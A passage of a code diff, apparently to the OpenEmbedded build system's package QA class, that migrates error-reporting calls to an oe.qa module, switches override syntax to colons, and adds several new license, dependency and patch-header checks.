if not ((machine == elf.machine()) or is_32 or is_bpf):
- package_qa_add_message(messages, "arch", "Architecture did not match (%s, expected %s) on %s" % \
- (oe.qa.elf_machine_to_string(elf.machine()), oe.qa.elf_machine_to_string(machine), package_qa_clean_path(path,d)))
+ oe.qa.add_message(messages, "arch", "Architecture did not match (%s, expected %s) in %s" % \
+ (oe.qa.elf_machine_to_string(elf.machine()), oe.qa.elf_machine_to_string(machine), package_qa_clean_path(path, d, name)))
elif not ((bits == elf.abiSize()) or is_32 or is_bpf):
- package_qa_add_message(messages, "arch", "Bit size did not match (%d to %d) %s on %s" % \
- (bits, elf.abiSize(), bpn, package_qa_clean_path(path,d)))
+ oe.qa.add_message(messages, "arch", "Bit size did not match (%d, expected %d) in %s" % \
+ (elf.abiSize(), bits, package_qa_clean_path(path, d, name)))
elif not ((littleendian == elf.isLittleEndian()) or is_bpf):
- package_qa_add_message(messages, "arch", "Endiannes did not match (%d to %d) on %s" % \
- (littleendian, elf.isLittleEndian(), package_qa_clean_path(path,d)))
+ oe.qa.add_message(messages, "arch", "Endiannes did not match (%d, expected %d) in %s" % \
+ (elf.isLittleEndian(), littleendian, package_qa_clean_path(path,d, name)))
QAPATHTEST[desktop] = "package_qa_check_desktop"
def package_qa_check_desktop(path, name, d, elf, messages):
@@ -318,7 +374,7 @@ def package_qa_check_desktop(path, name, d, elf, messages):
output = os.popen("%s %s" % (desktop_file_validate, path))
# This only produces output on errors
for l in output:
- package_qa_add_message(messages, "desktop", "Desktop file issue: " + l.strip())
+ oe.qa.add_message(messages, "desktop", "Desktop file issue: " + l.strip())
QAPATHTEST[textrel] = "package_qa_textrel"
def package_qa_textrel(path, name, d, elf, messages):
@@ -340,9 +396,11 @@ def package_qa_textrel(path, name, d, elf, messages):
for line in phdrs.split("\n"):
if textrel_re.match(line):
sane = False
+ break
if not sane:
- package_qa_add_message(messages, "textrel", "ELF binary '%s' has relocations in .text" % path)
+ path = package_qa_clean_path(path, d, name)
+ oe.qa.add_message(messages, "textrel", "%s: ELF binary %s has relocations in .text" % (name, path))
QAPATHTEST[ldflags] = "package_qa_hash_style"
def package_qa_hash_style(path, name, d, elf, messages):
@@ -371,19 +429,20 @@ def package_qa_hash_style(path, name, d, elf, messages):
for line in phdrs.split("\n"):
if "SYMTAB" in line:
has_syms = True
- if "GNU_HASH" in line:
+ if "GNU_HASH" in line or "MIPS_XHASH" in line:
sane = True
- if "[mips32]" in line or "[mips64]" in line:
+ if ("[mips32]" in line or "[mips64]" in line) and d.getVar('TCLIBC') == "musl":
sane = True
-
if has_syms and not sane:
- package_qa_add_message(messages, "ldflags", "No GNU_HASH in the ELF binary %s, didn't pass LDFLAGS?" % path)
+ path = package_qa_clean_path(path, d, name)
+ oe.qa.add_message(messages, "ldflags", "File %s in package %s doesn't have GNU_HASH (didn't pass LDFLAGS?)" % (path, name))
QAPATHTEST[buildpaths] = "package_qa_check_buildpaths"
def package_qa_check_buildpaths(path, name, d, elf, messages):
"""
- Check for build paths inside target files and error if not found in the whitelist
+ Check for build paths inside target files and error if paths are not
+ explicitly ignored.
"""
# Ignore .debug files, not interesting
if path.find(".debug") != -1:
@@ -393,16 +452,12 @@ def package_qa_check_buildpaths(path, name, d, elf, messages):
if os.path.islink(path):
return
- # Ignore ipk and deb's CONTROL dir
- if path.find(name + "/CONTROL/") != -1 or path.find(name + "/DEBIAN/") != -1:
- return
-
tmpdir = bytes(d.getVar('TMPDIR'), encoding="utf-8")
with open(path, 'rb') as f:
file_content = f.read()
if tmpdir in file_content:
trimmed = path.replace(os.path.join (d.getVar("PKGDEST"), name), "")
- package_qa_add_message(messages, "buildpaths", "File %s in package %s contains reference to TMPDIR" % (trimmed, name))
+ oe.qa.add_message(messages, "buildpaths", "File %s in package %s contains reference to TMPDIR" % (trimmed, name))
QAPATHTEST[xorg-driver-abi] = "package_qa_check_xorg_driver_abi"
@@ -418,10 +473,10 @@ def package_qa_check_xorg_driver_abi(path, name, d, elf, messages):
driverdir = d.expand("${libdir}/xorg/modules/drivers/")
if driverdir in path and path.endswith(".so"):
mlprefix = d.getVar('MLPREFIX') or ''
- for rdep in bb.utils.explode_deps(d.getVar('RDEPENDS_' + name) or ""):
+ for rdep in bb.utils.explode_deps(d.getVar('RDEPENDS:' + name) or ""):
if rdep.startswith("%sxorg-abi-" % mlprefix):
return
- package_qa_add_message(messages, "xorg-driver-abi", "Package %s contains Xorg driver (%s) but no xorg-abi- dependencies" % (name, os.path.basename(path)))
+ oe.qa.add_message(messages, "xorg-driver-abi", "Package %s contains Xorg driver (%s) but no xorg-abi- dependencies" % (name, os.path.basename(path)))
QAPATHTEST[infodir] = "package_qa_check_infodir"
def package_qa_check_infodir(path, name, d, elf, messages):
@@ -431,7 +486,7 @@ def package_qa_check_infodir(path, name, d, elf, messages):
infodir = d.expand("${infodir}/dir")
if infodir in path:
- package_qa_add_message(messages, "infodir", "The /usr/share/info/dir file is not meant to be shipped in a particular package.")
+ oe.qa.add_message(messages, "infodir", "The /usr/share/info/dir file is not meant to be shipped in a particular package.")
QAPATHTEST[symlink-to-sysroot] = "package_qa_check_symlink_to_sysroot"
def package_qa_check_symlink_to_sysroot(path, name, d, elf, messages):
@@ -444,7 +499,7 @@ def package_qa_check_symlink_to_sysroot(path, name, d, elf, messages):
tmpdir = d.getVar('TMPDIR')
if target.startswith(tmpdir):
trimmed = path.replace(os.path.join (d.getVar("PKGDEST"), name), "")
- package_qa_add_message(messages, "symlink-to-sysroot", "Symlink %s in %s points to TMPDIR" % (trimmed, name))
+ oe.qa.add_message(messages, "symlink-to-sysroot", "Symlink %s in %s points to TMPDIR" % (trimmed, name))
# Check license variables
do_populate_lic[postfuncs] += "populate_lic_qa_checksum"
@@ -452,7 +507,6 @@ python populate_lic_qa_checksum() {
"""
Check for changes in the license files.
"""
- sane = True
lic_files = d.getVar('LIC_FILES_CHKSUM') or ''
lic = d.getVar('LICENSE')
@@ -462,7 +516,7 @@ python populate_lic_qa_checksum() {
return
if not lic_files and d.getVar('SRC_URI'):
- sane &= package_qa_handle_error("license-checksum", pn + ": Recipe file fetches files and does not have license file information (LIC_FILES_CHKSUM)", d)
+ oe.qa.handle_error("license-checksum", pn + ": Recipe file fetches files and does not have license file information (LIC_FILES_CHKSUM)", d)
srcdir = d.getVar('S')
corebase_licensefile = d.getVar('COREBASE') + "/LICENSE"
@@ -470,11 +524,11 @@ python populate_lic_qa_checksum() {
try:
(type, host, path, user, pswd, parm) = bb.fetch.decodeurl(url)
except bb.fetch.MalformedUrl:
- sane &= package_qa_handle_error("license-checksum", pn + ": LIC_FILES_CHKSUM contains an invalid URL: " + url, d)
+ oe.qa.handle_error("license-checksum", pn + ": LIC_FILES_CHKSUM contains an invalid URL: " + url, d)
continue
srclicfile = os.path.join(srcdir, path)
if not os.path.isfile(srclicfile):
- sane &= package_qa_handle_error("license-checksum", pn + ": LIC_FILES_CHKSUM points to an invalid file: " + srclicfile, d)
+ oe.qa.handle_error("license-checksum", pn + ": LIC_FILES_CHKSUM points to an invalid file: " + srclicfile, d)
continue
if (srclicfile == corebase_licensefile):
@@ -496,7 +550,7 @@ python populate_lic_qa_checksum() {
import hashlib
lineno = 0
license = []
- m = hashlib.md5()
+ m = hashlib.new('MD5', usedforsecurity=False)
for line in f:
lineno += 1
if (lineno >= beginline):
@@ -542,10 +596,9 @@ python populate_lic_qa_checksum() {
else:
msg = pn + ": LIC_FILES_CHKSUM is not specified for " + url
msg = msg + "\n" + pn + ": The md5 checksum is " + md5chksum
- sane &= package_qa_handle_error("license-checksum", msg, d)
+ oe.qa.handle_error("license-checksum", msg, d)
- if not sane:
- bb.fatal("Fatal QA errors found, failing task.")
+ oe.qa.exit_if_errors(d)
}
def qa_check_staged(path,d):
@@ -557,7 +610,6 @@ def qa_check_staged(path,d):
responsible for the errors easily even if we look at every .pc and .la file.
"""
- sane = True
tmpdir = d.getVar('TMPDIR')
workdir = os.path.join(tmpdir, "work")
recipesysroot = d.getVar("RECIPE_SYSROOT")
@@ -590,16 +642,14 @@ def qa_check_staged(path,d):
file_content = file_content.replace(recipesysroot, "")
if workdir in file_content:
error_msg = "%s failed sanity test (workdir) in path %s" % (file,root)
- sane &= package_qa_handle_error("la", error_msg, d)
+ oe.qa.handle_error("la", error_msg, d)
elif file.endswith(".pc") and not skip_pkgconfig:
with open(path) as f:
file_content = f.read()
file_content = file_content.replace(recipesysroot, "")
if pkgconfigcheck in file_content:
error_msg = "%s failed sanity test (tmpdir) in path %s" % (file,root)
- sane &= package_qa_handle_error("pkgconfig", error_msg, d)
-
- return sane
+ oe.qa.handle_error("pkgconfig", error_msg, d)
# Run all package-wide warnfuncs and errorfuncs
def package_qa_package(warnfuncs, errorfuncs, package, d):
@@ -612,9 +662,9 @@ def package_qa_package(warnfuncs, errorfuncs, package, d):
func(package, d, errors)
for w in warnings:
- package_qa_handle_error(w, warnings[w], d)
+ oe.qa.handle_error(w, warnings[w], d)
for e in errors:
- package_qa_handle_error(e, errors[e], d)
+ oe.qa.handle_error(e, errors[e], d)
return len(errors) == 0
@@ -629,38 +679,55 @@ def package_qa_recipe(warnfuncs, errorfuncs, pn, d):
func(pn, d, errors)
for w in warnings:
- package_qa_handle_error(w, warnings[w], d)
+ oe.qa.handle_error(w, warnings[w], d)
for e in errors:
- package_qa_handle_error(e, errors[e], d)
+ oe.qa.handle_error(e, errors[e], d)
return len(errors) == 0
+def prepopulate_objdump_p(elf, d):
+ output = elf.run_objdump("-p", d)
+ return (elf.name, output)
+
# Walk over all files in a directory and call func
def package_qa_walk(warnfuncs, errorfuncs, package, d):
- import oe.qa
-
#if this will throw an exception, then fix the dict above
- target_os = d.getVar('TARGET_OS')
- target_arch = d.getVar('TARGET_ARCH')
+ target_os = d.getVar('HOST_OS')
+ target_arch = d.getVar('HOST_ARCH')
warnings = {}
errors = {}
+ elves = {}
for path in pkgfiles[package]:
- elf = oe.qa.ELFFile(path)
- try:
- elf.open()
- except (IOError, oe.qa.NotELFFileError):
- # IOError can happen if the packaging control files disappear,
- elf = None
+ elf = None
+ if os.path.isfile(path):
+ elf = oe.qa.ELFFile(path)
+ try:
+ elf.open()
+ elf.close()
+ except oe.qa.NotELFFileError:
+ elf = None
+ if elf:
+ elves[path] = elf
+
+ results = oe.utils.multiprocess_launch(prepopulate_objdump_p, elves.values(), d, extraargs=(d,))
+ for item in results:
+ elves[item[0]].set_objdump("-p", item[1])
+
+ for path in pkgfiles[package]:
+ if path in elves:
+ elves[path].open()
for func in warnfuncs:
- func(path, package, d, elf, warnings)
+ func(path, package, d, elves.get(path), warnings)
for func in errorfuncs:
- func(path, package, d, elf, errors)
+ func(path, package, d, elves.get(path), errors)
+ if path in elves:
+ elves[path].close()
for w in warnings:
- package_qa_handle_error(w, warnings[w], d)
+ oe.qa.handle_error(w, warnings[w], d)
for e in errors:
- package_qa_handle_error(e, errors[e], d)
+ oe.qa.handle_error(e, errors[e], d)
def package_qa_check_rdepends(pkg, pkgdest, skip, taskdeps, packages, d):
# Don't do this check for kernel/module recipes, there aren't too many debug/development
@@ -680,10 +747,10 @@ def package_qa_check_rdepends(pkg, pkgdest, skip, taskdeps, packages, d):
for rdepend in rdepends:
if "-dbg" in rdepend and "debug-deps" not in skip:
error_msg = "%s rdepends on %s" % (pkg,rdepend)
- package_qa_handle_error("debug-deps", error_msg, d)
+ oe.qa.handle_error("debug-deps", error_msg, d)
if (not "-dev" in pkg and not "-staticdev" in pkg) and rdepend.endswith("-dev") and "dev-deps" not in skip:
error_msg = "%s rdepends on %s" % (pkg, rdepend)
- package_qa_handle_error("dev-deps", error_msg, d)
+ oe.qa.handle_error("dev-deps", error_msg, d)
if rdepend not in packages:
rdep_data = oe.packagedata.read_subpkgdata(rdepend, d)
if rdep_data and 'PN' in rdep_data and rdep_data['PN'] in taskdeps:
@@ -704,7 +771,7 @@ def package_qa_check_rdepends(pkg, pkgdest, skip, taskdeps, packages, d):
error_msg = "%s rdepends on %s, but it isn't a build dependency, missing %s in DEPENDS or PACKAGECONFIG?" % (pkg, rdepend, rdep_data['PN'])
else:
error_msg = "%s rdepends on %s, but it isn't a build dependency?" % (pkg, rdepend)
- package_qa_handle_error("build-deps", error_msg, d)
+ oe.qa.handle_error("build-deps", error_msg, d)
if "file-rdeps" not in skip:
ignored_file_rdeps = set(['/bin/sh', '/usr/bin/env', 'rtld(GNU_HASH)'])
@@ -714,7 +781,7 @@ def package_qa_check_rdepends(pkg, pkgdest, skip, taskdeps, packages, d):
filerdepends = {}
rdep_data = oe.packagedata.read_subpkgdata(pkg, d)
for key in rdep_data:
- if key.startswith("FILERDEPENDS_"):
+ if key.startswith("FILERDEPENDS:"):
for subkey in bb.utils.explode_deps(rdep_data[key]):
if subkey not in ignored_file_rdeps and \
not subkey.startswith('perl('):
@@ -729,7 +796,7 @@ def package_qa_check_rdepends(pkg, pkgdest, skip, taskdeps, packages, d):
# The python is not a package, but python-core provides it, so
# skip checking /usr/bin/python if python is in the rdeps, in
- # case there is a RDEPENDS_pkg = "python" in the recipe.
+ # case there is a RDEPENDS:pkg = "python" in the recipe.
for py in [ d.getVar('MLPREFIX') + "python", "python" ]:
if py in done:
filerdepends.pop("/usr/bin/python",None)
@@ -742,11 +809,11 @@ def package_qa_check_rdepends(pkg, pkgdest, skip, taskdeps, packages, d):
# For Saving the FILERPROVIDES, RPROVIDES and FILES_INFO
rdep_data = oe.packagedata.read_subpkgdata(rdep, d)
for key in rdep_data:
- if key.startswith("FILERPROVIDES_") or key.startswith("RPROVIDES_"):
+ if key.startswith("FILERPROVIDES:") or key.startswith("RPROVIDES:"):
for subkey in bb.utils.explode_deps(rdep_data[key]):
filerdepends.pop(subkey,None)
# Add the files list to the rprovides
- if key == "FILES_INFO":
+ if key.startswith("FILES_INFO:"):
# Use eval() to make it as a dict
for subkey in eval(rdep_data[key]):
filerdepends.pop(subkey,None)
@@ -755,9 +822,9 @@ def package_qa_check_rdepends(pkg, pkgdest, skip, taskdeps, packages, d):
break
if filerdepends:
for key in filerdepends:
- error_msg = "%s contained in package %s requires %s, but no providers found in RDEPENDS_%s?" % \
- (filerdepends[key].replace("_%s" % pkg, "").replace("@underscore@", "_"), pkg, key, pkg)
- package_qa_handle_error("file-rdeps", error_msg, d)
+ error_msg = "%s contained in package %s requires %s, but no providers found in RDEPENDS:%s?" % \
+ (filerdepends[key].replace(":%s" % pkg, "").replace("@underscore@", "_"), pkg, key, pkg)
+ oe.qa.handle_error("file-rdeps", error_msg, d)
package_qa_check_rdepends[vardepsexclude] = "OVERRIDES"
def package_qa_check_deps(pkg, pkgdest, d):
@@ -769,12 +836,12 @@ def package_qa_check_deps(pkg, pkgdest, d):
try:
rvar = bb.utils.explode_dep_versions2(localdata.getVar(var) or "")
except ValueError as e:
- bb.fatal("%s_%s: %s" % (var, pkg, e))
+ bb.fatal("%s:%s: %s" % (var, pkg, e))
for dep in rvar:
for v in rvar[dep]:
if v and not v.startswith(('< ', '= ', '> ', '<= ', '>=')):
- error_msg = "%s_%s is invalid: %s (%s) only comparisons <, =, >, <=, and >= are allowed" % (var, pkg, dep, v)
- package_qa_handle_error("dep-cmp", error_msg, d)
+ error_msg = "%s:%s is invalid: %s (%s) only comparisons <, =, >, <=, and >= are allowed" % (var, pkg, dep, v)
+ oe.qa.handle_error("dep-cmp", error_msg, d)
check_valid_deps('RDEPENDS')
check_valid_deps('RRECOMMENDS')
@@ -785,13 +852,14 @@ def package_qa_check_deps(pkg, pkgdest, d):
QAPKGTEST[usrmerge] = "package_qa_check_usrmerge"
def package_qa_check_usrmerge(pkg, d, messages):
+
pkgdest = d.getVar('PKGDEST')
pkg_dir = pkgdest + os.sep + pkg + os.sep
merged_dirs = ['bin', 'sbin', 'lib'] + d.getVar('MULTILIB_VARIANTS').split()
for f in merged_dirs:
if os.path.exists(pkg_dir + f) and not os.path.islink(pkg_dir + f):
msg = "%s package is not obeying usrmerge distro feature. /%s should be relocated to /usr." % (pkg, f)
- package_qa_add_message(messages, "usrmerge", msg)
+ oe.qa.add_message(messages, "usrmerge", msg)
return False
return True
@@ -810,7 +878,7 @@ def package_qa_check_perllocalpod(pkg, d, messages):
if matches:
matches = [package_qa_clean_path(path, d, pkg) for path in matches]
msg = "%s contains perllocal.pod (%s), should not be installed" % (pkg, " ".join(matches))
- package_qa_add_message(messages, "perllocalpod", msg)
+ oe.qa.add_message(messages, "perllocalpod", msg)
QAPKGTEST[expanded-d] = "package_qa_check_expanded_d"
def package_qa_check_expanded_d(package, d, messages):
@@ -822,16 +890,56 @@ def package_qa_check_expanded_d(package, d, messages):
expanded_d = d.getVar('D')
for var in 'FILES','pkg_preinst', 'pkg_postinst', 'pkg_prerm', 'pkg_postrm':
- bbvar = d.getVar(var + "_" + package) or ""
+ bbvar = d.getVar(var + ":" + package) or ""
if expanded_d in bbvar:
if var == 'FILES':
- package_qa_add_message(messages, "expanded-d", "FILES in %s recipe should not contain the ${D} variable as it references the local build directory not the target filesystem, best solution is to remove the ${D} reference" % package)
+ oe.qa.add_message(messages, "expanded-d", "FILES in %s recipe should not contain the ${D} variable as it references the local build directory not the target filesystem, best solution is to remove the ${D} reference" % package)
sane = False
else:
- package_qa_add_message(messages, "expanded-d", "%s in %s recipe contains ${D}, it should be replaced by $D instead" % (var, package))
+ oe.qa.add_message(messages, "expanded-d", "%s in %s recipe contains ${D}, it should be replaced by $D instead" % (var, package))
sane = False
return sane
+QAPKGTEST[unlisted-pkg-lics] = "package_qa_check_unlisted_pkg_lics"
+def package_qa_check_unlisted_pkg_lics(package, d, messages):
+ """
+ Check that all licenses for a package are among the licenses for the recipe.
+ """
+ pkg_lics = d.getVar('LICENSE:' + package)
+ if not pkg_lics:
+ return True
+
+ recipe_lics_set = oe.license.list_licenses(d.getVar('LICENSE'))
+ package_lics = oe.license.list_licenses(pkg_lics)
+ unlisted = package_lics - recipe_lics_set
+ if unlisted:
+ oe.qa.add_message(messages, "unlisted-pkg-lics",
+ "LICENSE:%s includes licenses (%s) that are not "
+ "listed in LICENSE" % (package, ' '.join(unlisted)))
+ return False
+ obsolete = set(oe.license.obsolete_license_list()) & package_lics - recipe_lics_set
+ if obsolete:
+ oe.qa.add_message(messages, "obsolete-license",
+ "LICENSE:%s includes obsolete licenses %s" % (package, ' '.join(obsolete)))
+ return False
+ return True
+
+QAPKGTEST[empty-dirs] = "package_qa_check_empty_dirs"
+def package_qa_check_empty_dirs(pkg, d, messages):
+ """
+ Check for the existence of files in directories that are expected to be
+ empty.
+ """
+
+ pkgd = oe.path.join(d.getVar('PKGDEST'), pkg)
+ for dir in (d.getVar('QA_EMPTY_DIRS') or "").split():
+ empty_dir = oe.path.join(pkgd, dir)
+ if os.path.exists(empty_dir) and os.listdir(empty_dir):
+ recommendation = (d.getVar('QA_EMPTY_DIRS_RECOMMENDATION:' + dir) or
+ "but it is expected to be empty")
+ msg = "%s installs files in %s, %s" % (pkg, dir, recommendation)
+ oe.qa.add_message(messages, "empty-dirs", msg)
+
def package_qa_check_encoding(keys, encode, d):
def check_encoding(key, enc):
sane = True
@@ -842,7 +950,7 @@ def package_qa_check_encoding(keys, encode, d):
except UnicodeDecodeError as e:
error_msg = "%s has non %s characters" % (key,enc)
sane = False
- package_qa_handle_error("invalid-chars", error_msg, d)
+ oe.qa.handle_error("invalid-chars", error_msg, d)
return sane
for key in keys:
@@ -875,26 +983,33 @@ def package_qa_check_host_user(path, name, d, elf, messages):
else:
check_uid = int(d.getVar('HOST_USER_UID'))
if stat.st_uid == check_uid:
- package_qa_add_message(messages, "host-user-contaminated", "%s: %s is owned by uid %d, which is the same as the user running bitbake. This may be due to host contamination" % (pn, package_qa_clean_path(path, d, name), check_uid))
+ oe.qa.add_message(messages, "host-user-contaminated", "%s: %s is owned by uid %d, which is the same as the user running bitbake. This may be due to host contamination" % (pn, package_qa_clean_path(path, d, name), check_uid))
return False
check_gid = int(d.getVar('HOST_USER_GID'))
if stat.st_gid == check_gid:
- package_qa_add_message(messages, "host-user-contaminated", "%s: %s is owned by gid %d, which is the same as the user running bitbake. This may be due to host contamination" % (pn, package_qa_clean_path(path, d, name), check_gid))
+ oe.qa.add_message(messages, "host-user-contaminated", "%s: %s is owned by gid %d, which is the same as the user running bitbake. This may be due to host contamination" % (pn, package_qa_clean_path(path, d, name), check_gid))
return False
return True
-QARECIPETEST[src-uri-bad] = "package_qa_check_src_uri"
-def package_qa_check_src_uri(pn, d, messages):
- import re
-
- if "${PN}" in d.getVar("SRC_URI", False):
- package_qa_handle_error("src-uri-bad", "%s: SRC_URI uses PN not BPN" % pn, d)
-
- pn = d.getVar("SRC_URI")
- if re.search(r"github\.com/.+/.+/archive/.+", pn):
- package_qa_handle_error("src-uri-bad", "%s: SRC_URI uses unstable GitHub archives" % pn, d)
-
+QARECIPETEST[unhandled-features-check] = "package_qa_check_unhandled_features_check"
+def package_qa_check_unhandled_features_check(pn, d, messages):
+ if not bb.data.inherits_class('features_check', d):
+ var_set = False
+ for kind in ['DISTRO', 'MACHINE', 'COMBINED']:
+ for var in ['ANY_OF_' + kind + '_FEATURES', 'REQUIRED_' + kind + '_FEATURES', 'CONFLICT_' + kind + '_FEATURES']:
+ if d.getVar(var) is not None or d.hasOverrides(var):
+ var_set = True
+ if var_set:
+ oe.qa.handle_error("unhandled-features-check", "%s: recipe doesn't inherit features_check" % pn, d)
+
+QARECIPETEST[missing-update-alternatives] = "package_qa_check_missing_update_alternatives"
+def package_qa_check_missing_update_alternatives(pn, d, messages):
+ # Look at all packages and find out if any of those sets ALTERNATIVE variable
+ # without inheriting update-alternatives class
+ for pkg in (d.getVar('PACKAGES') or '').split():
+ if d.getVar('ALTERNATIVE:%s' % pkg) and not bb.data.inherits_class('update-alternatives', d):
+ oe.qa.handle_error("missing-update-alternatives", "%s: recipe defines ALTERNATIVE:%s but doesn't inherit update-alternatives. This might fail during do_rootfs later!" % (pn, pkg), d)
# The PACKAGE FUNC to scan each package
python do_package_qa () {
@@ -903,6 +1018,14 @@ python do_package_qa () {
bb.note("DO PACKAGE QA")
+ main_lic = d.getVar('LICENSE')
+
+ # Check for obsolete license references in main LICENSE (packages are checked below for any changes)
+ main_licenses = oe.license.list_licenses(d.getVar('LICENSE'))
+ obsolete = set(oe.license.obsolete_license_list()) & main_licenses
+ if obsolete:
+ oe.qa.handle_error("obsolete-license", "Recipe LICENSE includes obsolete licenses %s" % ' '.join(obsolete), d)
+
bb.build.exec_func("read_subpackage_metadata", d)
# Check non UTF-8 characters on recipe's metadata
@@ -911,38 +1034,24 @@ python do_package_qa () {
logdir = d.getVar('T')
pn = d.getVar('PN')
- # Check the compile log for host contamination
- compilelog = os.path.join(logdir,"log.do_compile")
-
- if os.path.exists(compilelog):
- statement = "grep -e 'CROSS COMPILE Badness:' -e 'is unsafe for cross-compilation' %s > /dev/null" % compilelog
- if subprocess.call(statement, shell=True) == 0:
- msg = "%s: The compile log indicates that host include and/or library paths were used.\n \
- Please check the log '%s' for more information." % (pn, compilelog)
- package_qa_handle_error("compile-host-path", msg, d)
-
- # Check the install log for host contamination
- installlog = os.path.join(logdir,"log.do_install")
-
- if os.path.exists(installlog):
- statement = "grep -e 'CROSS COMPILE Badness:' -e 'is unsafe for cross-compilation' %s > /dev/null" % installlog
- if subprocess.call(statement, shell=True) == 0:
- msg = "%s: The install log indicates that host include and/or library paths were used.\n \
- Please check the log '%s' for more information." % (pn, installlog)
- package_qa_handle_error("install-host-path", msg, d)
-
# Scan the packages...
pkgdest = d.getVar('PKGDEST')
packages = set((d.getVar('PACKAGES') or '').split())
- cpath = oe.cachedpath.CachedPath()
global pkgfiles
pkgfiles = {}
for pkg in packages:
pkgfiles[pkg] = []
- for walkroot, dirs, files in cpath.walk(pkgdest + "/" + pkg):
+ pkgdir = os.path.join(pkgdest, pkg)
+ for walkroot, dirs, files in os.walk(pkgdir):
+ # Don't walk into top-level CONTROL or DEBIAN directories as these
+ # are temporary directories created by do_package.
+ if walkroot == pkgdir:
+ for control in ("CONTROL", "DEBIAN"):
+ if control in dirs:
+ dirs.remove(control)
for file in files:
- pkgfiles[pkg].append(walkroot + os.sep + file)
+ pkgfiles[pkg].append(os.path.join(walkroot, file))
# no packages should be scanned
if not packages:
@@ -977,14 +1086,14 @@ python do_package_qa () {
for package in packages:
skip = set((d.getVar('INSANE_SKIP') or "").split() +
- (d.getVar('INSANE_SKIP_' + package) or "").split())
+ (d.getVar('INSANE_SKIP:' + package) or "").split())
if skip:
bb.note("Package %s skipping QA tests: %s" % (package, str(skip)))
bb.note("Checking Package: %s" % package)
# Check package name
if not pkgname_pattern.match(package):
- package_qa_handle_error("pkgname",
+ oe.qa.handle_error("pkgname",
"%s doesn't match the [a-z0-9.+-]+ regex" % package, d)
warn_checks, error_checks = parse_test_matrix("QAPATHTEST")
@@ -1002,10 +1111,7 @@ python do_package_qa () {
if 'libdir' in d.getVar("ALL_QA").split():
package_qa_check_libdir(d)
- qa_sane = d.getVar("QA_SANE")
- if not qa_sane:
- bb.fatal("QA run found fatal errors. Please consider fixing them.")
- bb.note("DONE with PACKAGE QA")
+ oe.qa.exit_if_errors(d)
}
# binutils is used for most checks, so need to set as dependency
@@ -1019,7 +1125,7 @@ addtask do_package_qa after do_packagedata do_package before do_build
python() {
pkgs = (d.getVar('PACKAGES') or '').split()
for pkg in pkgs:
- d.appendVarFlag("do_package_qa", "vardeps", " INSANE_SKIP_{}".format(pkg))
+ d.appendVarFlag("do_package_qa", "vardeps", " INSANE_SKIP:{}".format(pkg))
}
SSTATETASKS += "do_package_qa"
@@ -1032,8 +1138,8 @@ addtask do_package_qa_setscene
python do_qa_staging() {
bb.note("QA checking staging")
- if not qa_check_staged(d.expand('${SYSROOT_DESTDIR}${libdir}'), d):
- bb.fatal("QA staging was broken by the package built above")
+ qa_check_staged(d.expand('${SYSROOT_DESTDIR}${libdir}'), d)
+ oe.qa.exit_with_message_if_errors("QA staging was broken by the package built above", d)
}
python do_qa_patch() {
@@ -1081,7 +1187,31 @@ python do_qa_patch() {
elif 'patch-fuzz' in d.getVar('WARN_QA'):
bb.warn(msg)
msg = "Patch log indicates that patches do not apply cleanly."
- package_qa_handle_error("patch-fuzz", msg, d)
+ oe.qa.handle_error("patch-fuzz", msg, d)
+
+ # Check if the patch contains a correctly formatted and spelled Upstream-Status
+ import re
+ from oe import patch
+
+ for url in patch.src_patches(d):
+ (_, _, fullpath, _, _, _) = bb.fetch.decodeurl(url)
+
+ # skip patches not in oe-core
+ if '/meta/' not in fullpath:
+ continue
+
+ content = open(fullpath, encoding='utf-8', errors='ignore').read()
+ kinda_status_re = re.compile(r"^.*upstream.*status.*$", re.IGNORECASE | re.MULTILINE)
+ strict_status_re = re.compile(r"^Upstream-Status: (Pending|Submitted|Denied|Accepted|Inappropriate|Backport|Inactive-Upstream)( .+)?$", re.MULTILINE)
+ match_kinda = kinda_status_re.search(content)
+ match_strict = strict_status_re.search(content)
+ guidelines = "https://www.openembedded.org/wiki/Commit_Patch_Message_Guidelines#Patch_Header_Recommendations:_Upstream-Status"
+
+ if not match_strict:
+ if match_kinda:
+ bb.error("Malformed Upstream-Status in patch\n%s\nPlease correct according to %s :\n%s" % (fullpath, guidelines, match_kinda.group(0)))
+ else:
+ bb.error("Missing Upstream-Status in patch\n%s\nPlease add according to %s ." % (fullpath, guidelines))
}
python do_qa_configure() {
@@ -1103,13 +1233,13 @@ python do_qa_configure() {
if bb.data.inherits_class('autotools', d) and not skip_configure_unsafe:
bb.note("Checking autotools environment for common misconfiguration")
for root, dirs, files in os.walk(workdir):
- statement = "grep -q -F -e 'CROSS COMPILE Badness:' -e 'is unsafe for cross-compilation' %s" % \
+ statement = "grep -q -F -e 'is unsafe for cross-compilation' %s" % \
os.path.join(root,"config.log")
if "config.log" in files:
if subprocess.call(statement, shell=True) == 0:
error_msg = """This autoconf log indicates errors, it looked at host include and/or library paths while determining system capabilities.
Rerun configure task after fixing this."""
- package_qa_handle_error("configure-unsafe", error_msg, d)
+ oe.qa.handle_error("configure-unsafe", error_msg, d)
if "configure.ac" in files:
configs.append(os.path.join(root,"configure.ac"))
@@ -1139,30 +1269,27 @@ Rerun configure task after fixing this."""
gnu = "grep \"^[[:space:]]*AM_GNU_GETTEXT\" %s >/dev/null" % config
if subprocess.call(gnu, shell=True) == 0:
error_msg = "AM_GNU_GETTEXT used but no inherit gettext"
- package_qa_handle_error("configure-gettext", error_msg, d)
+ oe.qa.handle_error("configure-gettext", error_msg, d)
###########################################################################
# Check unrecognised configure options (with a white list)
###########################################################################
- if bb.data.inherits_class("autotools", d) or bb.data.inherits_class("meson", d):
+ if bb.data.inherits_class("autotools", d):
bb.note("Checking configure output for unrecognised options")
try:
if bb.data.inherits_class("autotools", d):
flag = "WARNING: unrecognized options:"
log = os.path.join(d.getVar('B'), 'config.log')
- if bb.data.inherits_class("meson", d):
- flag = "WARNING: Unknown options:"
- log = os.path.join(d.getVar('T'), 'log.do_configure')
output = subprocess.check_output(['grep', '-F', flag, log]).decode("utf-8").replace(', ', ' ').replace('"', '')
options = set()
for line in output.splitlines():
options |= set(line.partition(flag)[2].split())
- whitelist = set(d.getVar("UNKNOWN_CONFIGURE_WHITELIST").split())
- options -= whitelist
+ ignore_opts = set(d.getVar("UNKNOWN_CONFIGURE_OPT_IGNORE").split())
+ options -= ignore_opts
if options:
pn = d.getVar('PN')
error_msg = pn + ": configure was passed unrecognised options: " + " ".join(options)
- package_qa_handle_error("unknown-configure-option", error_msg, d)
+ oe.qa.handle_error("unknown-configure-option", error_msg, d)
except subprocess.CalledProcessError:
pass
@@ -1174,18 +1301,33 @@ Rerun configure task after fixing this."""
if pconfig not in pkgconfigflags:
pn = d.getVar('PN')
